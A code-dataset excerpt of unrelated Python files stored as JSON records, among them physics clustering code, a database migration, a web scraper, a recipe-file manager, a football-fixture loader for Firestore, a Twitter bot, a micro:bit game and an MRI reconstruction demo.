ElementCluster(self.elements[:],self.dataset,self._distanceMatrix)\n newcluster.maxInternalDist = self.maxInternalDist\n return newcluster\n\n def add(self, elements):\n \"\"\"\n Add an element or list of elements.\n\n :param elements: Element object or list of elements\n \"\"\"\n\n if not isinstance(elements,list):\n elementList = [elements]\n else:\n elementList = elements\n\n for el in elementList:\n if el._index in self.indices():\n continue\n\n self.elements.append(el)\n #Update internal distance:\n self.maxInternalDist = max(self.maxInternalDist,self.getDistanceTo(el))\n\n def remove(self, elements):\n \"\"\"\n Remove an element or a list of element from the cluster.\n\n :param elements: Element object or list of elements\n \"\"\"\n\n if not isinstance(elements,list):\n elementList = [elements]\n else:\n elementList = elements\n\n for el in elementList:\n indices = self.indices()\n if not el._index in indices:\n continue\n iel = indices.index(el._index)\n self.elements.pop(iel)\n #Update internal distance:\n self.maxInternalDist = max([self.getDistanceTo(elB) for elB in self])\n\n\n def getDistanceTo(self, element):\n \"\"\"\n Return the maximum distance between any elements belonging to the\n cluster and element.\n\n :parameter element: Element object\n :return: maximum distance (float)\n \"\"\"\n\n if not hasattr(element, '_upperLimit'):\n element._upperLimit = self.dataset.getUpperLimitFor(element,\n txnames=element.txname)\n if element._upperLimit is None:\n return None\n\n #Use pre-computed distances for regular (non-averge) elements\n if not element._index is None:\n return max([self._distanceMatrix[element._index,el._index] for el in self])\n\n dmax = 0.\n for el in self:\n if not hasattr(el, '_upperLimit'):\n el._upperLimit = self.dataset.getUpperLimitFor(el,\n txnames=el.txname)\n dmax = max(dmax,relativeDistance(element,el,self.dataset))\n\n return dmax\n\n def isConsistent(self,maxDist):\n \"\"\"\n Checks if the cluster is consistent.\n Computes an average element in the cluster\n and checks if this average element belongs to the cluster\n according to the maximum allowed distance between cluster elements.\n\n :return: True/False if the cluster is/is not consistent.\n \"\"\"\n\n avgElement = self.averageElement()\n if avgElement._upperLimit is None:\n return False\n\n dmax = self.getDistanceTo(avgElement)\n if dmax > maxDist:\n return False\n\n return True\n\ndef relativeDistance(el1, el2, dataset):\n \"\"\"\n Defines the relative distance between two elements according to their\n upper limit values.\n The distance is defined as d = 2*|ul1-ul2|/(ul1+ul2).\n\n :parameter el1: Element object\n :parameter el2: Element object\n\n :returns: relative distance\n \"\"\"\n\n if not hasattr(el1,'_upperLimit'):\n el1._upperLimit = dataset.getUpperLimitFor(el1,\n txnames=el1.txname)\n if not hasattr(el2,'_upperLimit'):\n el2._upperLimit = dataset.getUpperLimitFor(el2,\n txnames=el2.txname)\n\n ul1 = el1._upperLimit\n ul2 = el2._upperLimit\n\n if ul1 is None or ul2 is None:\n return None\n if (ul1+ul2).asNumber(fb) == 0.:\n return 0.\n ulDistance = 2.*abs(ul1 - ul2)/(ul1 + ul2)\n\n return ulDistance\n\ndef clusterElements(elements, maxDist, dataset):\n \"\"\"\n Cluster the original elements according to their distance in upper limit space.\n\n :parameter elements: list of elements (Element objects)\n :parameter dataset: Dataset object to be used when computing distances in upper limit space\n :parameter maxDist: maximum distance for clustering two elements\n\n :returns: list of clusters (ElementCluster objects)\n \"\"\"\n if len(elements) == 0:\n return []\n\n if any(not isinstance(el,Element) for el in elements):\n raise SModelSError(\"Asked to cluster non Element objects\")\n if not isinstance(dataset,(DataSet,CombinedDataSet)):\n raise SModelSError(\"A dataset object must be defined for clustering\")\n\n #Make sure only unique elements are clustered together (avoids double counting weights)\n #Sort element, so the ones with highest contribution (weight) come first:\n elementList = sorted(elements, key = lambda el: el.weight.getMaxXsec(), reverse=True)\n #Remove duplicated elements:\n elementsUnique = []\n for el in elementList:\n #Skip the element if it is related to any another element in the list\n if any(el.isRelatedTo(elB) for elB in elementsUnique):\n continue\n elementsUnique.append(el)\n\n #Get txname list only with the txnames from unique elements used for clustering\n txnames = list(set([el.txname for el in elementsUnique]))\n if dataset.getType() == 'upperLimit' and len(txnames) != 1 :\n logger.error(\"Clustering elements with different Txnames for an UL result.\")\n raise SModelSError()\n\n\n if dataset.getType() == 'upperLimit': #Group according to upper limit values\n clusters = doCluster(elementsUnique, dataset, maxDist)\n elif dataset.getType() == 'efficiencyMap': #Group all elements together\n distanceMatrix = np.zeros((len(elementsUnique),len(elementsUnique)))\n cluster = ElementCluster(dataset=dataset,distanceMatrix=distanceMatrix)\n for iel,el in enumerate(elementsUnique):\n el._index = iel\n cluster.elements = elementsUnique\n clusters = [cluster]\n\n for cluster in clusters:\n cluster.txnames = txnames\n return clusters\n\ndef groupElements(elements,dataset):\n \"\"\"\n Group elements into groups where the average element\n identical to all the elements in group.\n The groups contain all elements which share the same mass,width and upper limit\n and can be replaced by their average element when building clusters.\n\n :parameter elements: list of all elements to be grouped\n :parameter dataset: Dataset object to be used when computing distances in upper limit space\n\n :returns: a list of AverageElement objects\n which represents a group of elements with same mass, width and upper limit.\n \"\"\"\n\n # First make sure all elements contain their upper limits\n for el in elements:\n if not hasattr(el,'._upperLimit'):\n el._upperLimit = dataset.getUpperLimitFor(el,txnames=el.txname)\n if el._upperLimit is None:\n raise SModelSError(\"Trying to cluster element outside the grid.\")\n\n #Group elements if they have the same UL\n #and give the same average element (same mass and same width)\n avgElements = []\n for iA,elA in enumerate(elements):\n avgEl = AverageElement([elA])\n avgEl._upperLimit = elA._upperLimit\n for iB,elB in enumerate(elements):\n if iB <= iA:\n continue\n if elA._upperLimit != elB._upperLimit:\n continue\n if avgEl != elB:\n continue\n avgEl.elements.append(elB)\n avgEl.weight += elB.weight\n if not avgEl in avgElements:\n avgElements.append(avgEl)\n\n\n #Make sure each element belongs to a average element:\n for el in elements:\n nclusters = sum([avgEl.contains(el) for avgEl in avgElements])\n if nclusters != 1:\n raise SModelSError(\"Error computing average elements. Element %s belongs to %i average elements.\"\n %(str(el),nclusters))\n return avgElements\n\ndef doCluster(elements, dataset, maxDist):\n \"\"\"\n Cluster algorithm to cluster elements.\n\n :parameter elements: list of all elements to be clustered\n :parameter dataset: Dataset object to be used when computing distances in upper limit space\n :parameter maxDist: maximum distance for clustering two elements\n\n :returns: a list of ElementCluster objects containing the elements\n belonging to the cluster\n \"\"\"\n\n #Get average elements:\n averageElements = groupElements(elements,dataset)\n\n #Index average elements:\n elementList = sorted(averageElements, key = lambda el: el._upperLimit)\n for iel,el in enumerate(elementList):\n el._index = iel\n\n #Pre-compute all necessary distances:\n distanceMatrix = np.zeros((len(elementList),len(elementList)))\n for iel,elA in enumerate(elementList):\n for jel,elB in enumerate(elementList):\n if jel <= iel:\n continue\n distanceMatrix[iel,jel] = relativeDistance(elA, elB, dataset)\n distanceMatrix = distanceMatrix + distanceMatrix.T\n\n #Start building maximal clusters\n clusterList = []\n for el in elementList:\n cluster = ElementCluster([],dataset,distanceMatrix)\n for elB in elementList:\n if distanceMatrix[el._index,elB._index] <= maxDist:\n cluster.add(elB)\n if not cluster.elements:\n continue\n if cluster.averageElement()._upperLimit is None:\n continue\n if not cluster in clusterList:\n clusterList.append(cluster)\n\n #Split the maximal clusters until all elements inside each cluster are\n #less than maxDist apart from each other and the cluster average position\n #is less than maxDist apart from all elements\n finalClusters = []\n while clusterList:\n newClusters = []\n for cluster in clusterList:\n #Check if maximal internal distance is below maxDist\n isConsistent = cluster.isConsistent(maxDist)\n if isConsistent and cluster.maxInternalDist < maxDist:\n if not cluster in finalClusters:\n finalClusters.append(cluster)\n\n #Cluster violates maxDist:\n else:\n #Loop over cluster elements and if element distance\n #falls outside the cluster, remove element\n for el in cluster:\n if cluster.getDistanceTo(el) > maxDist or not isConsistent:\n newcluster = cluster.copy()\n newcluster.remove(el)\n if newcluster.averageElement()._upperLimit is None:\n continue\n if newcluster in newClusters:\n continue\n newClusters.append(newcluster)\n\n clusterList = newClusters\n # Check for oversized list of indexCluster (too time consuming)\n if len(clusterList) > 100:\n logger.warning(\"ElementCluster failed, using unclustered masses\")\n finalClusters = []\n clusterList = []\n\n # finalClusters = finalClusters + clusterList\n # Add clusters of individual masses (just to be safe)\n for el in elementList:\n finalClusters.append(ElementCluster([el],dataset,distanceMatrix))\n\n # Clean up clusters (remove redundant clusters)\n for ic, clusterA in enumerate(finalClusters):\n if clusterA is None:\n continue\n for jc, clusterB in enumerate(finalClusters):\n if clusterB is None:\n continue\n if ic != jc and set(clusterB.indices()).issubset(set(clusterA.indices())):\n finalClusters[jc] = None\n while finalClusters.count(None) > 0:\n finalClusters.remove(None)\n\n #Replace average elements by the original elements:\n for cluster in finalClusters:\n originalElements = []\n for avgEl in cluster.elements[:]:\n originalElements += avgEl.elements[:]\n cluster.elements = originalElements[:]\n\n\n return finalClusters\n","repo_name":"SModelS/smodels","sub_path":"smodels/theory/clusterTools.py","file_name":"clusterTools.py","file_ext":"py","file_size_in_byte":19578,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"72"} +{"seq_id":"29748230399","text":"\"\"\"empty message\n\nRevision ID: d20491d3e9c0\nRevises: f34efe29c49c\nCreate Date: 2021-07-22 10:41:55.235393\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = 'd20491d3e9c0'\ndown_revision = 'f34efe29c49c'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table('fees',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('home_id', sa.Integer(), nullable=True),\n sa.Column('due_date', sa.Date(), nullable=False),\n sa.Column('value', sa.Float(), nullable=False),\n sa.Column('payment_date', sa.Date(), nullable=False),\n sa.ForeignKeyConstraint(['home_id'], ['homes.id'], ),\n sa.PrimaryKeyConstraint('id')\n )\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_table('fees')\n # ### end Alembic commands ###\n","repo_name":"Escollhas/Dominus","sub_path":"migrations/versions/d20491d3e9c0_.py","file_name":"d20491d3e9c0_.py","file_ext":"py","file_size_in_byte":957,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"30589791610","text":"import pygal\nfrom pygal import style\n\nmy_style = style.LightStyle(font_family='Source Han Sans CN')\n\nchart = pygal.StackedLine(fill=True, interpolate='cubic', style=my_style)\nchart.add('中文', [1, 3, 5, 16, 13, 3, 7])\nchart.add('B', [5, 2, 3, 2, 5, 7, 17])\nchart.add('C', [6, 10, 9, 7, 3, 1, 0])\nchart.add('D', [2, 3, 5, 9, 12, 9, 5])\nchart.add('E', [7, 4, 2, 1, 2, 10, 0])\n\nchart.render_to_file('temp/hello.svg')\nchart.render_to_png('temp/hello.png')\n","repo_name":"xiaobo9/my_python","sub_path":"pygal_test.py","file_name":"pygal_test.py","file_ext":"py","file_size_in_byte":454,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"35796310818","text":"import scrapy\n\n\nclass SpiderBooksSpider(scrapy.Spider):\n name = 'spider_books'\n allowed_domains = ['books.toscrape.com']\n start_urls = ['http://books.toscrape.com/']\n \n def parse(self, response):\n for book in response.css(\"ol.row\").css('li'): \n link = response.urljoin(book.css(\"h3\").css(\"a::attr(href)\").get())\n print(link)\n yield scrapy.Request(link, callback=self.parse_details)\n \n #https://us.bbcollab.com/guest/92837cf338674792a6fb263309573e27\n # name = book.css(\"img::attr(alt)\").get()\n # price = book.css(\"p.price_color::text\").get()\n # yield {\n # \"name\": name,\n # \"preço\": price,\n # \"link\": f'http://books.toscrape.com/{link}'\n # }\n \n next_page = response.css(\"li.next a::attr(href)\").get()\n if next_page is not None:\n next_page = response.urljoin(next_page)\n yield scrapy.Request(next_page, callback=self.parse)\n\n def RatingToInt(self, strRating: str) -> int:\n if strRating == 'One':\n return 1\n elif strRating == 'Two':\n return 2\n elif strRating == 'Three':\n return 3\n elif strRating == 'Four':\n return 4\n elif strRating == 'Five':\n return 5\n else:\n return 0 # Valor padrão\n \n def parse_details(self, response):\n name = response.css(\"h1::text\").get()\n price = response.css(\"p.price_color::text\").get()[1:]\n rating = response.css('.product_main').css('p.star-rating::attr(class)').get()[12:]\n upc = response.css(\"td::text\").get()\n\n yield {\n \"name\": name,\n \"preço\": price,\n 'upc': upc,\n 'rating': self.RatingToInt(rating)\n } \n","repo_name":"lucianomcsilva/books_spider","sub_path":"books/spiders/spider_books.py","file_name":"spider_books.py","file_ext":"py","file_size_in_byte":1908,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"28661575305","text":"import pytest\nfrom selenium import webdriver\n\n\ndef pytest_addoption(parser):\n parser.addoption(\"--browser\", action=\"store\", default=\"chrome\", help=\"Какой браузер использовать?\")\n parser.addoption(\"--url\", action=\"store\", default=\"http://test.r90244di.beget.tech/\", help=\"This is request url\")\n\n\n@pytest.fixture(scope='session')\ndef get_driver(request):\n browser = request.config.getoption(\"--browser\")\n url = request.config.getoption(\"--url\")\n if browser == 'gecko':\n options = webdriver.FirefoxOptions()\n options.add_argument(\"--headless\")\n driver = webdriver.Firefox(options=options)\n\n elif browser == 'edge':\n driver = webdriver.Edge('msedgedriver.exe')\n else:\n options = webdriver.ChromeOptions()\n # options.add_argument(\"--headless\")\n driver = webdriver.Chrome(options=options)\n\n yield driver, url\n driver.close()\n driver.quit()\n","repo_name":"Colonell77/OTUS_QA_Engineer","sub_path":"conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":937,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"18911864080","text":"import os\nimport pathlib\nfrom pathlib import Path\nfrom os import system,remove\nfrom shutil import rmtree\n\ndef ElegirCategoria(base):\n contador = 0\n opcionCategoria = 0\n CategoriaElegida = \"\"\n system('cls')\n directorio = pathlib.Path(base)\n ficheros = [fichero.name for fichero in directorio.iterdir() if fichero.is_dir()]\n print(\"Elija la categoria\")\n for subdirectorio in ficheros:\n contador += 1\n print(f\"{contador}\"+\". \"+f\"{subdirectorio}\")\n opcionCategoria = int(input(\"Que opcion elige? (ingrese el numero)\"))\n contador = 0\n for subdirectorio in ficheros:\n contador += 1\n if (contador == opcionCategoria):\n CategoriaElegida = subdirectorio\n else:\n print(\"No se encontró la categoria elegida\")\n #print(f\"Usted eligio {CategoriaElegida}\")\n\n return CategoriaElegida\n\ndef Mostrar_Recetas (Categoria,ruta_base):\n system('cls')\n ruta = Path(ruta_base,Categoria)\n contador = 0\n #archivo_r = \"No se encontro la receta ingresada\"\n\n for txt in (Path(ruta).glob(\"**/*.txt\")):\n contador += 1\n print(f\"{contador}.{txt.name[:-4]}\")\n\n if (contador >0 ):\n print(f\"Las recetas de {Categoria} son:\")\n receta = int(input(\"Por favor elija una receta :\"))\n\n contador = 0\n for txt in (Path(ruta).glob(\"**/*.txt\")):\n contador += 1\n if (contador == receta):\n archivo = open(txt)\n print(archivo.read())\n\n archivo.close()\n else:\n print(\"No hay recetas disponibles para esta categoria\")\n\n\n\ndef Crear_Receta (Categoria,ruta_base):\n system('cls')\n ruta = Path(ruta_base,Categoria)\n #print(f\"Usted se encuentra posiciado en {ruta}\")\n nombre_nueva_receta = input(\"Ingrese el nombre de la nueva receta: \")\n nueva_receta = open(ruta/f\"{nombre_nueva_receta}.txt\",\"w\")\n CuerpoReceta = input(\"Escriba su receta : \")\n nueva_receta.write(CuerpoReceta)\n nueva_receta.close()\n\ndef Eliminar_Recetas (Categoria,ruta_base):\n system('cls')\n ruta = Path(ruta_base,Categoria)\n print (f\"Las recetas de {Categoria} son:\")\n contador = 0\n\n for txt in (Path(ruta).glob(\"**/*.txt\")):\n contador += 1\n print(f\"{contador}.{txt.name[:-4]}\")\n\n receta = int(input(\"Por favor elija la receta a eliminar:\"))\n\n contador = 0\n for txt in (Path(ruta).glob(\"**/*.txt\")):\n contador += 1\n #print(txt)\n if(contador == receta):\n Confirmar = \"\"\n while(Confirmar.upper() != 'N' and Confirmar.upper() != 'Y'):\n Confirmar = input(f\"Esta seguro de eliminar la receta {txt.name} (Y - N)?\")\n if ((Confirmar.upper()) == \"Y\"):\n RecetaEliminada = txt.name\n remove(txt)\n print(f\"Se elimino la receta de {RecetaEliminada}\")\n elif (Confirmar.upper() == \"N\"):\n print(\"Se canceló el proceso\")\n\ndef Eliminar_Categoria (Categoria,ruta_base):\n system('cls')\n ruta = Path(ruta_base,Categoria)\n rmtree(ruta)\n print (f\"Se eliminó la categoria {ruta.name}\")\n\ndef Crear_Categoria (ruta_base):\n system('cls')\n nueva_categoria = input(\"Ingrese el nombre de la nueva categoria\")\n nueva_dir = ruta_base/f\"{nueva_categoria}\"\n nueva_dir.mkdir(parents=True,exist_ok=True)\n\n\ndef ObtenerCantidadRecetas():\n CantidadRecetas = 0\n for txt in Path(ruta_base).glob(\"**/*.txt\"):\n CantidadRecetas += 1\n return CantidadRecetas\n\ndef Acciones(opcion,ruta_base):\n Categoria = \"\"\n if (opcion==1):\n Categoria = ElegirCategoria(ruta_base)\n Mostrar_Recetas(Categoria,ruta_base)\n\n if (opcion==2):\n Categoria = ElegirCategoria(ruta_base)\n Crear_Receta(Categoria,ruta_base)\n\n if (opcion==3):\n Crear_Categoria(ruta_base)\n\n if (opcion==4):\n Categoria = ElegirCategoria(ruta_base)\n Eliminar_Recetas(Categoria,ruta_base)\n\n if (opcion==5):\n Categoria = ElegirCategoria(ruta_base)\n Eliminar_Categoria(Categoria,ruta_base)\n\n\nruta_base = Path(Path.home()/\"Recetas\")\ncantidadRecetas = ObtenerCantidadRecetas()\nopcion = 0\ncontinuar = True\n\nprint(\"Bienvenido al Recetario python\")\nprint(f\"Las recetas se encuentran en {ruta_base}\")\n\nprint((f\"Tenemos un total de {cantidadRecetas} recetas\"))\ninput(\"Presione enter para continuar\")\n\nsystem('cls')\n\n\n\nwhile((opcion<1 or opcion >6) or (continuar == True)):\n print(\"[1] Leer Receta\")\n print(\"[2] Crear Receta\")\n print(\"[3] Crear Categoría\")\n print(\"[4] Eliminar Receta\")\n print(\"[5] Eliminar Categoría\")\n print(\"[6] Finalizar Programa\")\n\n opcion = int(input(\"Por favor elegir una opción:\"))\n\n if(opcion<1 or opcion >6):\n print(\"Por favor Ingrese un a opción Válida\")\n input(\"Presione enter para volver a intentar\")\n system('cls')\n\n if (opcion == 6):\n continuar = False\n print(\"Gracias por utilizar nuestro recetario\")\n else:\n Acciones(opcion,ruta_base)\n input(\"Presione cualquier tecla para continuar\")\n system('cls')\n\n\n\n\n\n","repo_name":"JasefHA/PythonTotal","sub_path":"Dia6/proyecto.py","file_name":"proyecto.py","file_ext":"py","file_size_in_byte":5117,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"1964506219","text":"\"\"\"\nThis file calls the Football API to extract match fixture data\nand load the collection and documents into Firestore.\n\"\"\"\n\n# System libraries\nimport os\n\n# Google Cloud library imports.\nfrom google.cloud import secretmanager\nfrom firebase_admin import firestore\nimport firebase_admin\nimport requests\n\n# Settings the project environment.\nos.environ[\"GCLOUD_PROJECT\"] = \"cloud-data-infrastructure\"\n\n\ndef call_api(secret_name):\n \"\"\"\n This function fetches the RapidAPI key from Secret Manager and\n and sets up the headers for an API call.\n \"\"\"\n\n client = secretmanager.SecretManagerServiceClient()\n response = client.access_secret_version(request={\"name\": secret_name})\n payload = response.payload.data.decode(\"UTF-8\")\n\n # Headers used for RapidAPI.\n headers = {\n \"content-type\": \"application/octet-stream\",\n \"X-RapidAPI-Key\": payload,\n \"X-RapidAPI-Host\": \"api-football-v1.p.rapidapi.com\",\n }\n\n return headers\n\n\nclass Fixture:\n \"\"\"Building JSON structure for documents.\"\"\"\n\n def __init__(self, date, teams, goals=None):\n self.date = date\n self.teams = teams\n self.goals = goals\n\n def __repr__(self):\n return f\"Fixture(\\\n name={self.date}, \\\n country={self.teams}, \\\n goals={self.goals}\\\n )\"\n\n def to_dict(self):\n return {\"date\": self.date, \"teams\": self.teams, \"goals\": self.goals}\n\n\ndef get_current_round():\n \"\"\"\n This function calls the Football API to get the current round of the regular season.\n This will get the string of \"Regular Season - 1\" which is needed as a parameter\n in the next function to pull correct round.\n \"\"\"\n\n headers = call_api(\"projects/463690670206/secrets/rapid-api/versions/1\")\n\n url = \"https://api-football-v1.p.rapidapi.com/v3/fixtures/rounds\"\n querystring = {\"league\": \"39\", \"season\": \"2023\", \"current\": \"true\"}\n response = requests.get(url, headers=headers, params=querystring, timeout=20)\n\n current_round_response = response.json()[\"response\"][0]\n # example response: \"Regular Season - 12\"\n\n return current_round_response\n\n\ndef retrieve_data_for_current_round():\n \"\"\"Retrieving the data for the current round based on get_current_round() function's response\"\"\"\n\n headers = call_api(\"projects/463690670206/secrets/rapid-api/versions/1\")\n current_round_response = get_current_round()\n\n url = \"https://api-football-v1.p.rapidapi.com/v3/fixtures\"\n querystring = {\"league\": \"39\", \"season\": \"2023\", \"round\": current_round_response}\n build_current_response = requests.get(\n url, headers=headers, params=querystring, timeout=20\n )\n\n return build_current_response\n\n\ndef load_firestore():\n \"\"\"This function loads the data into Firestore\"\"\"\n\n current_round_response = get_current_round()\n build_current_response = retrieve_data_for_current_round()\n\n # Check to see if firebase app has been initialized.\n if not firebase_admin._apps:\n firebase_admin.initialize_app()\n db = firestore.client()\n\n count = 0\n while count < 10:\n # Dictionaries to be written to each document.\n fixture_date = build_current_response.json()[\"response\"][count][\"fixture\"][\n \"date\"\n ]\n teams_dict = build_current_response.json()[\"response\"][count][\"teams\"]\n goal_dict = build_current_response.json()[\"response\"][count][\"goals\"]\n\n # Calling the away and home team names to build document name.\n away_team = build_current_response.json()[\"response\"][count][\"teams\"][\"away\"][\n \"name\"\n ]\n home_team = build_current_response.json()[\"response\"][count][\"teams\"][\"home\"][\n \"name\"\n ]\n\n fixture = Fixture(date=(fixture_date), teams=teams_dict, goals=goal_dict)\n\n db.collection(f\"{current_round_response}\").document(\n f\"{away_team} vs {home_team}\"\n ).set(fixture.to_dict())\n\n count += 1\n\n print(f\"Document {current_round_response} has been loaded!\")\n\n\nif __name__ == \"__main__\":\n load_firestore()\n","repo_name":"digitalghost-dev/premier-league","sub_path":"etl/firestore/fixtures.py","file_name":"fixtures.py","file_ext":"py","file_size_in_byte":4084,"program_lang":"python","lang":"en","doc_type":"code","stars":62,"dataset":"github-code","pt":"72"} +{"seq_id":"21228494585","text":"import tweepy, time, sys\n\nCONSUMER_KEY = \"...\"\nCONSUMER_SECRET = \"...\"\nACCESS_KEY = \"...\"\nACCESS_SECRET = \"...\"\n\nauth = tweepy.OAuthHandler(CONSUMER_KEY,CONSUMER_SECRET)\nauth.set_access_token(ACCESS_KEY,ACCESS_SECRET)\napi = tweepy.API(auth)\n\n#testTweet = \"Wugbot says hello!\"\n#api.update_status(testTweet)\n\n#NLTK Chapter 3, Exercise 27\nimport random\ndef laughter(n):\n laugh= \"\"\n while len(laugh) < n:\n laugh = laugh + random.choice('aehh ')\n return laugh\n\nx = -1\nwhile x < 0:\n laughLength = random.randint(2,140)\n api.update_status(laughter(laughLength))\n\n","repo_name":"wugology/twitter-bot-tutorial","sub_path":"laughbot.py","file_name":"laughbot.py","file_ext":"py","file_size_in_byte":578,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"4622923020","text":"# Simon Game - by 101Computing - www.101computing.net/microbit-simon-game\nfrom microbit import *\nimport random\n\nleft = Image(\"96300:\"\n \"96300:\"\n \"96300:\"\n \"96300:\"\n \"96300\")\n \nright = Image(\"00369:\"\n \"00369:\"\n \"00369:\"\n \"00369:\"\n \"00369\")\n\nplus = Image(\"00000:\"\n \"00900:\"\n \"09990:\"\n \"00900:\"\n \"00000\")\n\nAB = [\"A\", \"B\"]\n\n#Let's start with a sequence of three characters\nsequence = random.choice(AB) + random.choice(AB) + random.choice(AB)\n\n \ncorrect = True\nsleep(1000)\n\nwhile correct == True:\n #Let's start by displaying the sequence\n for character in sequence:\n if character==\"A\":\n display.show(left)\n elif character==\"B\":\n display.show(right)\n sleep(1000)\n display.show(plus)\n sleep(500)\n \n display.scroll(\"?\")\n \n #Capture user input\n #The numbers of time the user will need to press the buttons depends on the length of the sequence\n maxInputs = len(sequence)\n capturedInputs = 0\n while capturedInputs < maxInputs and correct == True:\n if button_a.is_pressed():\n display.show(left)\n #Did the user guess it wrong? \n if sequence[capturedInputs] == \"B\":\n correct = False\n sleep(500) \n display.show(plus) \n capturedInputs += 1\n if button_b.is_pressed():\n display.show(right)\n #Did the user guess it wrong? \n if sequence[capturedInputs] == \"A\":\n correct = False\n sleep(500)\n display.show(plus)\n capturedInputs += 1\n \n #Add an extra character to the sequence\n if correct==True:\n sequence = sequence + random.choice(AB)\n display.show(Image.HAPPY)\n sleep(1000)\n\n#Display Game Over + final score\nif len(sequence)>3: \n display.scroll(\"Game Over: Score: \" + str(len(sequence))) \nelse:\n display.scroll(\"Game Over: Score: 0\")","repo_name":"Krostofer/simon","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2013,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"9047010000","text":"# -*- coding: utf-8 -*-\n\n#%%\n#Basic setup\nimport numpy as np\nimport scipy as sp\nfrom ismrmrdtools import sense, grappa, show, simulation, transform,coils\nfrom importlib import reload\n\n#%%\n#import some data\nexercise_data = sp.io.loadmat('hansen_exercises2.mat')\ncsm = np.transpose(exercise_data['smaps'])\npat = np.transpose(exercise_data['sp'])\ndata = np.transpose(exercise_data['data'])\nkspace = np.logical_or(pat==1,pat==3).astype('float32')*(data)\n\nacc_factor = 4\nalias_img = transform.transform_kspace_to_image(kspace,dim=(1,2)) * np.sqrt(acc_factor)\nshow.imshow(abs(alias_img))\n\n(unmix_grappa,gmap_grappa) = grappa.calculate_grappa_unmixing(data, acc_factor, data_mask=pat>1, csm=csm,kernel_size=(4,5))\n#(unmix_grappa,gmap_grappa) = grappa.calculate_grappa_unmixing(data, acc_factor, data_mask=pat>1)\nshow.imshow(abs(gmap_grappa),colorbar=True)\nrecon_grappa = np.squeeze(np.sum(alias_img * unmix_grappa,0))\nshow.imshow(abs(recon_grappa),colorbar=True)\n\nsp.io.savemat('tmp_data.mat',{'pat_py': pat,'data_py': data,'csm_py': csm,'alias_img_py':alias_img,'unmix_grappa_py':unmix_grappa})\n\n#%%\n#Reload some modules\nreload(show)\nreload(sense)\nreload(grappa)\nreload(simulation)\nreload(transform)\nreload(coils)\n\n#%%\nreload(simulation)\nmatrix_size = 256\ncsm = simulation.generate_birdcage_sensitivities(matrix_size)\nphan = simulation.phantom(matrix_size)\ncoil_images = np.tile(phan,(8, 1, 1)) * csm\nshow.imshow(abs(coil_images),tile_shape=(4,2),colorbar=True)\n\n#%%\n#Undersample\nreload(simulation)\nacc_factor = 2\nref_lines = 16\n(data,pat) = simulation.sample_data(phan,csm,acc_factor,ref_lines)\n\n#%%\n#Add noise\nnoise = np.random.standard_normal(data.shape) + 1j*np.random.standard_normal(data.shape)\nnoise = (5.0/matrix_size)*noise\nkspace = np.logical_or(pat==1,pat==3).astype('float32')*(data + noise)\ndata = (pat>0).astype('float32')*(data + noise)\n\n#%%\n#Calculate the noise prewhitening matrix\ndmtx = coils.calculate_prewhitening(noise)\n\n#%%\n# Apply prewhitening\nkspace = coils.apply_prewhitening(kspace, dmtx) \ndata = coils.apply_prewhitening(data, dmtx) \n\n\n#%%\n#Reconstruct aliased images\nalias_img = transform.transform_kspace_to_image(kspace,dim=(1,2)) * np.sqrt(acc_factor)\nshow.imshow(abs(alias_img))\n\n\n#%%\nreload(sense)\n(unmix_sense, gmap_sense) = sense.calculate_sense_unmixing(acc_factor,csm)\nshow.imshow(abs(gmap_sense),colorbar=True)\nrecon_sense = np.squeeze(np.sum(alias_img * unmix_sense,0))\nshow.imshow(abs(recon_sense),colorbar=True)\n\n#%%\nreload(grappa)\n#(unmix_grappa,gmap_grappa) = grappa.calculate_grappa_unmixing(data, acc_factor, data_mask=pat>1, csm=csm,kernel_size=(2,5))\n(unmix_grappa,gmap_grappa) = grappa.calculate_grappa_unmixing(data, acc_factor, data_mask=pat>1,kernel_size=(2,5))\nshow.imshow(abs(gmap_grappa),colorbar=True)\nrecon_grappa = np.squeeze(np.sum(alias_img * unmix_grappa,0))\nshow.imshow(abs(recon_grappa),colorbar=True)\n\n#%% \n#Pseudo replica example\nreps = 255\nreps_sense = np.zeros((reps,recon_grappa.shape[0],recon_grappa.shape[1]),dtype=np.complex64)\nreps_grappa = np.zeros((reps,recon_grappa.shape[0],recon_grappa.shape[1]),dtype=np.complex64)\nfor r in range(0,reps):\n noise_r = np.random.standard_normal(kspace.shape) + 1j*np.random.standard_normal(kspace.shape)\n kspace_r = np.logical_or(pat==1,pat==3).astype('float32')*(kspace + noise_r)\n alias_img_r = transform.transform_kspace_to_image(kspace_r,dim=(1,2)) * np.sqrt(acc_factor)\n reps_sense[r,:,:] = np.squeeze(np.sum(alias_img_r * unmix_sense,0))\n reps_grappa[r,:,:] = np.squeeze(np.sum(alias_img_r * unmix_grappa,0))\n\nstd_sense = np.std(np.real(reps_sense),0)\nshow.imshow(abs(std_sense),colorbar=True)\nstd_grappa = np.std(np.real(reps_grappa),0)\nshow.imshow(abs(std_grappa),colorbar=True)\n","repo_name":"ismrmrd/ismrmrd-python-tools","sub_path":"parallel_imaging_demo.py","file_name":"parallel_imaging_demo.py","file_ext":"py","file_size_in_byte":3704,"program_lang":"python","lang":"en","doc_type":"code","stars":49,"dataset":"github-code","pt":"72"} +{"seq_id":"5703087047","text":"def solution(nums):\n answer = 0\n \n nums.sort()\n N = len(nums)\n\n result = {}\n for i in range(N):\n if result.get(nums[i]):\n result[nums[i]] += 1\n else:\n result[nums[i]] = 